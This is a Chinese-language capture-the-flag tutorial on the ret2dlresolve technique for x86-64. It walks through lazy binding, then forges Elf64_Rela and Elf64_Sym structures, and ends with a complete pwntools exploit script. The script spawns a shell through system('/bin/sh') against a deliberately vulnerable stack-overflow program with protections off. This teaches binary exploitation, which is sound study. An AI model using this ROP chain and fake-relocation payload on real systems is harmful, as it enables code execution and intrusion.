0x0 攻击方式概览
· 首先简单回顾一下libc函数真实地址被写入got表的过程:函数调用时首先调用plt表,然后plt表去找got表,如果此时函数真实地址已经被写入got表,就会直接调用函数。如果函数是首次调用,got表中还没有写入真实地址,就会触发延迟绑定,回到plt表,解析出函数真实地址写入got表,并跳转到函数。
· ret2dl利用的就是真实地址写入got表的过程,我们可以更改实际被写入got的函数。比如,首次调用puts时,puts本应被写入got,但我们可以在写入过程中篡改实际写入的内容,把puts改为system,就得到了system函数,且不需要有system的偏移,也就意味着我们甚至可以手里没有glibc,就调用libc函数,这也是ret2dl的一大优势。
0x1 正常的延迟绑定流程
· 以以下实例为例,编译环境为glibc2.43,保护全关:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((used, naked)) void pop_rdi_ret() { __asm__("pop %rdi; ret;"); }
__attribute__((used, naked)) void pop_rsi_ret() { __asm__("pop %rsi; ret;"); }
__attribute__((used, naked)) void pop_rdx_ret() { __asm__("pop %rdx; ret;"); }
__attribute__((used, naked)) void ret_gadget() { __asm__("ret;"); }
void vuln() {
char buf[0x40];
puts("[ret2dl64] send your first ROP chain:");
read(0, buf, 0xb0);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
return 0;
}
· 首先我们需要重新认识一下函数首次调用时从plt到got再到plt的过程。以puts为例。将实例编译好后运行如下命令:
objdump -d -j .plt ./pwn
· 输出如下:
Disassembly of section .plt:
0000000000401020 <puts@plt-0x10>:
401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000401030 <puts@plt>:
401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
0000000000401040 <setbuf@plt>:
401040: ff 25 c2 2f 00 00 jmp *0x2fc2(%rip) # 404008 <setbuf@GLIBC_2.2.5>
401046: 68 01 00 00 00 push $0x1
40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
0000000000401050 <read@plt>:
401050: ff 25 ba 2f 00 00 jmp *0x2fba(%rip) # 404010 <read@GLIBC_2.2.5>
401056: 68 02 00 00 00 push $0x2
40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
· 其中,puts@plt、setbuf@plt、read@plt是我们熟悉的plt条目,而最上面的puts@plt-0x10是我们的重中之重,我们称之为PLT0,它是所有函数延迟绑定时的公共入口。对PLT0的详细讲解放在后文,这里先对这个东西有个印象。
· 然后运行如下命令:
readelf -r ./pwn
· 输出如下:
重定位节 '.rela.dyn' at offset 0x5e8 contains 7 entries:
偏移量 信息 类型 符号值 符号名称 + 加数
000000403fc8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fd0 000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0
000000403fd8 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403fe0 000700000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0
000000404040 000800000005 R_X86_64_COPY 0000000000404040 stdout@GLIBC_2.2.5 + 0
000000404050 000900000005 R_X86_64_COPY 0000000000404050 stdin@GLIBC_2.2.5 + 0
000000404060 000a00000005 R_X86_64_COPY 0000000000404060 stderr@GLIBC_2.2.5 + 0
重定位节 '.rela.plt' at offset 0x690 contains 3 entries:
偏移量 信息 类型 符号值 符号名称 + 加数
000000404000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404008 000400000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000404010 000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
· 相信聪明的你已经看出来,下面这一段就是我们的got表。
· 首次调用puts的流程如下:
先调用puts@plt,走0x401030跳到puts@got
401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5>
而此时puts@got中还没有写入puts的实际地址,存的是puts@plt+6的地址,所以会跳回0x401036。这一点可以在pwndbg中验证:在puts调用前下断点,然后看0x404000存的是什么。
跳回0x401036后,会压栈一个0x0,这是puts函数在.rela.plt重定位表中的下标,用于后续指示PLT0到相应的Elf64_Rela结构体中解析函数。.rela.plt和Elf_Rela结构体仍然放后面讲,这里主要讲延迟绑定的流程。
之后,跳到PLT0,先压栈一个link表。这个link表是什么更不用管,完全不影响ret2dl的操作(实际是这个菜鸡对这个东西也是一头雾水,不敢讲。但确实不影响)。然后进入延迟绑定核心流程。
0x2 延迟绑定涉及的核心结构体
· 首先要来认识一个结构体:Elf64_Rela。
typedef struct {
Elf64_Addr r_offset;
//重定位结果写入位置的偏移,即要写入哪个got表项。基址为pie基址
Elf64_Xword r_info;
//高32位:符号表下标;低32位:重定位类型,一般为7
//符号表下标指的是.dynsym的下标,后面会讲到
Elf64_Sxword r_addend;
//在计算最终重定位结果是额外加上的值,在重定位类型7中通常为0
} Elf64_Rela;
.rela.plt里面装着的就是一个个这样的Elf64_Rela结构体。
· 然后再来认识另一个结构体:Elf64_Sym.
typedef struct {
Elf64_Word st_name; //0x4字节
//符号名在.dynstr里的偏移,基址为.dynstr的地址
//.dynstr后面会讲到
unsigned char st_info; //0x1字节
//符号绑定属性和符号类型
unsigned char st_other; //0x1字节
//可见性,一般为0
Elf64_Section st_shndx; //0x2字节
//符号所在节,外部导入函数一般为0
Elf64_Addr st_value; //0x8字节
//符号值,导入函数一般为0
Elf64_Xword st_size; //0x8字节
//符号大小,导入函数一般为0
} Elf64_Sym;
.dynsym里面装着的就是一个个这样的Elf64_Sym结构体。
整个延迟绑定过程其实就是在玩这两个结构体,ret2dl也就是伪造这两个结构体来控制延迟绑定机制去解析我们想要的函数。
· 最后来认识一下.dynstr:
.dynstr:
"\x00"
"__libc_start_main\x00"
"puts\x00"
"read\x00"
"setbuf\x00"
"libc.so.6\x00"
"GLIBC_2.2.5\x00"
.dynstr实际上不能算做一个结构体,更像是一个char数组。为了方便理解,把它和另外两个结构体一起放在这里出示。
0x3 延迟绑定核心流程
· 核心流程图
puts@plt -> puts@got -> puts@plt+6 -> PLT0 -> .rela.plt -> Elf64_Rela -> .dynsym -> Elf64_Sym -> .dynstr -> puts
·流程拆解
刚才讲到,压栈一个puts在.rela.plt中的下标0x0和一个link表之后,就进入延迟绑定核心流程。
延迟绑定函数根据栈上的0x0找到.rela.plt中的第0项Elf64_Rela结构体,在Elf64_Rela中确认了地址写入位置、符号表下标等信息。
然后根据符号表下标到.dynsym中找到相应的Elf64_Sym结构体,进一步确认函数信息,然后根据st_name去.dynstr中找到相应的符号名,再带着符号名去libc中找到这个函数,最后把函数实际地址写进目标got表项,并执行函数。
需要注意的是,.dynstr中存储的符号名是字符串形式,如’system’,’puts’,这也是我们劫持延迟绑定的关键。
0x4 ret2dl流程
· 仍然以上面给出的实例为例。
· 通过0x3中的流程拆解,不难发现整个延迟绑定过程其实就是Elf64_Rela、Elf64_Sym、.dynstr这几个东西相互连接,一步步引导延迟绑定函数到.dynstr中找到目标函数符号的字符串,最终完成函数解析。
· 那么我们劫持的思路也很清晰了:伪造Elf64_Rela、Elf64_Sym、.dynstr,引导延迟绑定函数去读’system’,就可以把system的实际地址解析到任意got表项。
· 逐段构造payload
· 我们需要的所有地址:
bss = 0x404800
dynsym = 0x4003f8
dynstr = 0x400500
rela_plt = 0x400690
vuln = 0x4011c9
read_plt = 0x401050
puts_got = 0x404000
ret = 0x40101a
pop_rdi_ret = 0x401146
pop_rsi_ret = 0x40114b
pop_rdx_ret = 0x401150
PLT0 = 0x401020
bin_sh = bss+(0x18)*3+0x8+0x8
· 伪造两个结构体:
fake_Elf64_Rela = p64(puts_got)
#把最终解析出的实际地址写入puts的got表项,后续调用puts时就是在调用实际解析出的地址
fake_Elf64_Rela += p32(7)
#重定位类型,一般为7
fake_Elf64_Rela += p32((bss+0x18+0x8-dynsym) // 0x18)
#符号表下标,计算方式放在下面讲
fake_Elf64_Rela += p64(0)
#在计算最终重定位结果是额外加上的值,在重定位类型7中通常为0
fake_Elf64_Sym = p32(bss+0x18+0x8+0x18+0x18-dynstr)
#伪造的符号名'system'相对于.dynstr的偏移
fake_Elf64_Sym += b'\x12'
#符号绑定属性和符号类型
fake_Elf64_Sym += b'\x00'
#可见性,一般为0
fake_Elf64_Sym += p16(0)
#符号所在节,外部导入函数一般为0
fake_Elf64_Sym += p64(0)
#符号值,导入函数一般为0
fake_Elf64_Sym += p64(0)
#符号大小,导入函数一般为0
· 这里特别讲一下符号表下标的计算方式。因为这里所说的下标是.dynsym的下标,.dynsym中的Elf64_Sym大小为0x18字节,所以两个下标之间的步长为0x18。故下标计算公式为”(target – .dynsym) // 0x18″。要格外注意,一定要保证目标地址是0x18字节对齐的,否则”//”会向下取整,导致payload结构错乱。后面计算.rela.plt下标时同理。
· 第一段payload
payload1 = b'A'*0x48
payload1 += p64(pop_rsi_ret)
payload1 += p64(bss)
payload1 += p64(pop_rdx_ret)
payload1 += p64(0x100)
payload1 += p64(read_plt)
#把伪造的结构体写到bss
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh)
#因为函数解析完成后会立刻调用函数,所以需要提前设置好rdi
payload1 += p64(ret)
#栈对齐用
payload1 += p64(PLT0)
#此时伪造结构体和下标都已经准备好,进入延迟绑定,绑定完成后会立刻调用puts,即system
payload1 += p64((bss - rela_plt) // 0x18)
#指向我们伪造的Elf64_Rela,计算方式同上
payload1 = payload1.ljust(0xb0, b'\0')
· 第二段payload
payload2 = fake_Elf64_Rela
payload2 += b'\x00'*0x8
#未必是必须的隔离,只是为了保证结构体干净,以及保证0x18字节对齐
payload2 += fake_Elf64_Sym
payload2 += b'\x00'*0x18
#同上
payload2 += b'system\x00\x00'
payload2 += b'/bin/sh\0'
payload2 = payload2.ljust(0x100, b'\0')
· 完整exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e'])
io = process('./pwn')
# io = remote()
bss = 0x404800
dynsym = 0x4003f8
dynstr = 0x400500
rela_plt = 0x400690
vuln = 0x4011c9
read_plt = 0x401050
puts_got = 0x404000
ret = 0x40101a
pop_rdi_ret = 0x401146
pop_rsi_ret = 0x40114b
pop_rdx_ret = 0x401150
PLT0 = 0x401020
bin_sh = bss+(0x18)*3+0x8+0x8
io.recvuntil('chain:')
fake_Elf64_Rela = p64(puts_got)
fake_Elf64_Rela += p32(7)
fake_Elf64_Rela += p32((bss+0x18+0x8-dynsym) // 0x18)
fake_Elf64_Rela += p64(0)
fake_Elf64_Sym = p32(bss+0x18+0x8+0x18+0x18-dynstr)
fake_Elf64_Sym += b'\x12'
fake_Elf64_Sym += b'\x00'
fake_Elf64_Sym += p16(0)
fake_Elf64_Sym += p64(0)
fake_Elf64_Sym += p64(0)
payload1 = b'A'*0x48
payload1 += p64(pop_rsi_ret)
payload1 += p64(bss)
payload1 += p64(pop_rdx_ret)
payload1 += p64(0x100)
payload1 += p64(read_plt)
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh)
payload1 += p64(ret)
payload1 += p64(PLT0)
payload1 += p64((bss - rela_plt) // 0x18)
payload1 = payload1.ljust(0xb0, b'\0')
io.send(payload1)
payload2 = fake_Elf64_Rela
payload2 += b'\x00'*0x8
payload2 += fake_Elf64_Sym
payload2 += b'\x00'*0x18
payload2 += b'system\x00\x00'
payload2 += b'/bin/sh\0'
payload2 = payload2.ljust(0x100, b'\0')
# gdb.attach(io)
io.send(payload2)
io.interactive()
